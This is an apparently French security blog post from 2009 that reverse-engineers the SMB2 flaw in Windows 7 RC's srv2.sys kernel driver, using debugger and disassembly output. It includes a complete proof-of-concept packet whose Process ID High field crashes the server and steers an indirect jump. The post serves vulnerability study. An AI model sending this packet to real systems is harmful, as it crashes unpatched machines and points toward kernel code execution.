Voyage au centre de la faille SMB2

Faille SMB2

Hier, je lisais mes flux RSS quand un article a attiré toute mon attention : Des hackers défient Microsoft et exploitent une faille.

Cet article fait référence à une faille parue le 9 Septembre 2009 sur le protocole SMB2. En effet, il y a quelques jours H.D Moore annonce l’intégration d’un exploit dans Metasploit, et là je me suis dit « Si je revenais un peu aux sources ? ». Donc aujourd’hui, je vous propose une petite exploration au cœur du noyau de Windows 7 RC x64 afin de comprendre d’où provient tout ce brouhaha.

Avant de commencer, SMB est le protocole utilisé par Windows pour partager les fichiers, les imprimantes… La version 2 a été introduite avec Vista.

C’est parti, je prends le premier exploit que je trouve, je le lance, boum un BSOD provenant du module srv2.sys. Le POC envoie simplement un paquet SMB2 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)

Tant mieux… Un minidump est créé, en plus ça a bien planté à l’endroit prévu. Je lance WinDbg et let’s go to the fun !
Mon petit débuggeur préféré m’annonce ceci :

1
2
3
4
ExceptionAddress: fffff880081a9d7f (srv2!Smb2ExecuteProviderCallback+0x00000000000000bf)
   ExceptionCode: c0000005 (Access violation)
srv2!Smb2ExecuteProviderCallback+0xbf:
fffff880`081a9d7f 48ffe2          jmp     rdx {0b7ec985`48ca2b48}

Hmm intéressant, lançons IDA et regardons d’où provient cette valeur de rdx. Tout d’abord, voici la fonction Smb2ExecuteProviderCallback désassemblée :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
PAGE:FFFFF880081A9CC0 Smb2ExecuteProviderCallback proc near   ; DATA XREF: Smb2ProviderRegister:loc_FFFFF880081C9926o
PAGE:FFFFF880081A9CC0
PAGE:FFFFF880081A9CC0 var_38          = qword ptr -38h
PAGE:FFFFF880081A9CC0 var_30          = qword ptr -30h
PAGE:FFFFF880081A9CC0 var_28          = qword ptr -28h
PAGE:FFFFF880081A9CC0 var_20          = qword ptr -20h
PAGE:FFFFF880081A9CC0 var_18          = dword ptr -18h
PAGE:FFFFF880081A9CC0 arg_0           = qword ptr  8
PAGE:FFFFF880081A9CC0 arg_8           = qword ptr  10h
PAGE:FFFFF880081A9CC0
PAGE:FFFFF880081A9CC0 ; FUNCTION CHUNK AT PAGE:FFFFF880081C11CC SIZE 000000E3 BYTES
PAGE:FFFFF880081A9CC0
PAGE:FFFFF880081A9CC0                 mov     [rsp+arg_0], rbx
PAGE:FFFFF880081A9CC5                 mov     [rsp+arg_8], rsi
PAGE:FFFFF880081A9CCA                 push    rdi
PAGE:FFFFF880081A9CCB                 sub     rsp, 50h
PAGE:FFFFF880081A9CCF                 mov     rax, [rcx+0C8h]
PAGE:FFFFF880081A9CD6                 mov     rbx, rcx
PAGE:FFFFF880081A9CD9                 mov     rdi, [rax+20h]
PAGE:FFFFF880081A9CDD                 mov     rcx, cs:WPP_GLOBAL_Control
PAGE:FFFFF880081A9CE4                 lea     rsi, WPP_GLOBAL_Control
PAGE:FFFFF880081A9CEB                 cmp     rcx, rsi
PAGE:FFFFF880081A9CEE                 jz      short loc_FFFFF880081A9D0A
PAGE:FFFFF880081A9CF0                 bt      dword ptr [rcx+2Ch], 0Ah
PAGE:FFFFF880081A9CF5                 jb      loc_FFFFF880081C11CC
PAGE:FFFFF880081A9CFB
PAGE:FFFFF880081A9CFB loc_FFFFF880081A9CFB:                   ; CODE XREF: Smb2ExecuteProviderCallback+17510j
PAGE:FFFFF880081A9CFB                                         ; Smb2ExecuteProviderCallback+17537j
PAGE:FFFFF880081A9CFB                 cmp     rcx, rsi
PAGE:FFFFF880081A9CFE                 jz      short loc_FFFFF880081A9D0A
PAGE:FFFFF880081A9D00                 test    byte ptr [rcx+2Ch], 1
PAGE:FFFFF880081A9D04                 jnz     loc_FFFFF880081C11FC
PAGE:FFFFF880081A9D0A
PAGE:FFFFF880081A9D0A loc_FFFFF880081A9D0A:                   ; CODE XREF: Smb2ExecuteProviderCallback+2Ej
PAGE:FFFFF880081A9D0A                                         ; Smb2ExecuteProviderCallback+3Ej ...
PAGE:FFFFF880081A9D0A                 movzx   eax, cs:SrvReauthPolicy
PAGE:FFFFF880081A9D11                 cmp     [rdi+0Ch], ax
PAGE:FFFFF880081A9D15                 jz      loc_FFFFF880081C1257
PAGE:FFFFF880081A9D1B
PAGE:FFFFF880081A9D1B loc_FFFFF880081A9D1B:                   ; CODE XREF: Smb2ExecuteProviderCallback+175B3j
PAGE:FFFFF880081A9D1B                                         ; Smb2ExecuteProviderCallback+175C7j ...
PAGE:FFFFF880081A9D1B                 movzx   eax, word ptr [rdi+0Ch]
PAGE:FFFFF880081A9D1F                 lea     rdx, ExecuteRoutines
PAGE:FFFFF880081A9D26                 mov     rcx, rbx
PAGE:FFFFF880081A9D29                 mov     rdx, [rdx+rax*8]
PAGE:FFFFF880081A9D2D                 test    rdx, rdx
PAGE:FFFFF880081A9D30                 jz      loc_FFFFF880081C1299
PAGE:FFFFF880081A9D36                 lea     rax, Smb2ExecuteCreate
PAGE:FFFFF880081A9D3D                 cmp     rdx, rax
PAGE:FFFFF880081A9D40                 jnz     short loc_FFFFF880081A9D70
PAGE:FFFFF880081A9D42                 mov     rax, [rbx+1B0h]
PAGE:FFFFF880081A9D49                 cmp     byte ptr [rax+0F0h], 0
PAGE:FFFFF880081A9D50                 jnz     loc_FFFFF880081C12A4
PAGE:FFFFF880081A9D56                 call    Smb2ExecuteCreateReal
PAGE:FFFFF880081A9D5B
PAGE:FFFFF880081A9D5B loc_FFFFF880081A9D5B:                   ; CODE XREF: Smb2ExecuteProviderCallback+175EAj
PAGE:FFFFF880081A9D5B                 mov     eax, 103h
PAGE:FFFFF880081A9D60
PAGE:FFFFF880081A9D60 loc_FFFFF880081A9D60:                   ; CODE XREF: Smb2ExecuteProviderCallback+175DFj
PAGE:FFFFF880081A9D60                 mov     rbx, [rsp+58h+arg_0]
PAGE:FFFFF880081A9D65                 mov     rsi, [rsp+58h+arg_8]
PAGE:FFFFF880081A9D6A                 add     rsp, 50h
PAGE:FFFFF880081A9D6E                 pop     rdi
PAGE:FFFFF880081A9D6F                 retn
PAGE:FFFFF880081A9D70 ; ---------------------------------------------------------------------------
PAGE:FFFFF880081A9D70
PAGE:FFFFF880081A9D70 loc_FFFFF880081A9D70:                   ; CODE XREF: Smb2ExecuteProviderCallback+80j
PAGE:FFFFF880081A9D70                 mov     rbx, [rsp+58h+arg_0]
PAGE:FFFFF880081A9D75                 mov     rsi, [rsp+58h+arg_8]
PAGE:FFFFF880081A9D7A                 add     rsp, 50h
PAGE:FFFFF880081A9D7E                 pop     rdi
PAGE:FFFFF880081A9D7F                 jmp     rdx
PAGE:FFFFF880081A9D7F Smb2ExecuteProviderCallback endp

En explorant un peu la fonction, on tombe rapidement sur ce bout de code :

1
2
3
4
PAGE:FFFFF880081A9D1B                 movzx   eax, word ptr [rdi+0Ch]
PAGE:FFFFF880081A9D1F                 lea     rdx, ExecuteRoutines
PAGE:FFFFF880081A9D26                 mov     rcx, rbx
PAGE:FFFFF880081A9D29                 mov     rdx, [rdx+rax*8]

Ok cool, en fait normalement rdx pointe sur une routine de SMB2 dont l’adresse est stockée dans le tableau ExecuteRoutines, mais la apparemment non :) Comme vous pouvez le voir, l’index rax provient d’une structure en rdi. Ok super, on a que demandé a notre debugguer préféré qu’est ce que contient notre beau registre rdi, mais la pas de bol, enfin plutôt normal, il y a eu un petit pop rdi avant notre jmp de la mort, fu.
Ici, commence un trifouillage pour retrouver la valeur. L’instruction qui assigne rdi est :

1
2
3
PAGE:FFFFF880081A9CCF                 mov     rax, [rcx+0C8h]
PAGE:FFFFF880081A9CD6                 mov     rbx, rcx
PAGE:FFFFF880081A9CD9                 mov     rdi, [rax+20h]

Pareil rax à été modifié avant le plantage par l’instruction suivante :

1
PAGE:FFFFF880081A9D42                 mov     rax, [rbx+1B0h]

Mais rax a été modifié aussi par la suite, par contre rcx lui a été sauvegardé dans rbx puis restauré par la suite, donc la on retombe sur nos pieds. Donc, regardons un peu tout ça, j’ai essayé de faire le plus simplement possible pour la démarche :

1
2
0: kd> dq rcx + 0xC8
fffffa80`040d02f8  fffffa80`040d0480 fffffa80`040d0480

Donc rax au moment de l’instruction mov rdi, [rax+20h] valait 0xfffffa80040d0480.

1
2
0: kd> dq fffffa80`040d0480 + 0x20
fffffa80`040d04a0  fffffa80`040d06b8 00000090`00000100

rdi se voit assigné 0xfffffa80040d06b8. Regardons ce qui s’y trouve :

1
2
3
4
5
6
7
8
9
0: kd> db fffffa80`040d06b8
fffffa80`040d06b8  ff 53 4d 42 72 00 00 00-00 18 53 c8 00 26 00 00  .SMBr.....S..&..
fffffa80`040d06c8  00 00 00 00 00 00 00 00-ff ff ff fe 00 00 00 00  ................
fffffa80`040d06d8  00 6d 00 02 50 43 20 4e-45 54 57 4f 52 4b 20 50  .m..PC NETWORK P
fffffa80`040d06e8  52 4f 47 52 41 4d 20 31-2e 30 00 02 4c 41 4e 4d  ROGRAM 1.0..LANM
fffffa80`040d06f8  41 4e 31 2e 30 00 02 57-69 6e 64 6f 77 73 20 66  AN1.0..Windows f
fffffa80`040d0708  6f 72 20 57 6f 72 6b 67-72 6f 75 70 73 20 33 2e  or Workgroups 3.
fffffa80`040d0718  31 61 00 02 4c 4d 31 2e-32 58 30 30 32 00 02 4c  1a..LM1.2X002..L
fffffa80`040d0728  41 4e 4d 41 4e 32 2e 31-00 02 4e 54 20 4c 4d 20  ANMAN2.1..NT LM

Cool, notre paquet SMB2.

1
2
0: kd> dw fffffa80`040d06b8 + 0x0C
fffffa80`040d06c4  2600 0000 0000 0000 0000 0000 ffff feff

Revenons au code qui modifie rdx :

1
2
3
4
PAGE:FFFFF880081A9D1B                 movzx   eax, word ptr [rdi+0Ch]
PAGE:FFFFF880081A9D1F                 lea     rdx, ExecuteRoutines
PAGE:FFFFF880081A9D26                 mov     rcx, rbx
PAGE:FFFFF880081A9D29                 mov     rdx, [rdx+rax*8]

Maintenant, on comprend que rdi pointe sur notre paquet SMB2 et que eax contient la valeur Process ID High de notre paquet SMB ce qui signifie qu’un paquet SMB peut directement agir sur la valeur de rdx du jump rdx qui nous à fait un beau BSOD mais qui pourrait bien faire plus :D.
Donc miam la faille en effet :D Si vous souhaitez des informations complémentaires, par exemple pour désactiver SMB2, je vous laisse lire l’article sur le blog http://blogs.technet.com/srd/.

J’espère que cette mini-exploration au coeur du kernel de Windows 7 vous a plu, n’hésitez pas à laisser votre appréciation.

See U.

Mise à jour de l’article 30/09/2009 – 19h00

Windows 7 RTM et Windows Server 2008 R2 ne sont pas touché, Microsoft était au courant de cette vulnérabilité depuis un moment :

  • « We found this issue independently through our fuzzing processes and implemented the fix into Windows 7 RTM (release to manufacturer) and Windows Server 2008 R2″
  • « We’re working to develop a security update for Windows Vista, Windows Server 2008 and Windows 7 RC. »

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Vous pouvez utiliser ces balises et attributs HTML : <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>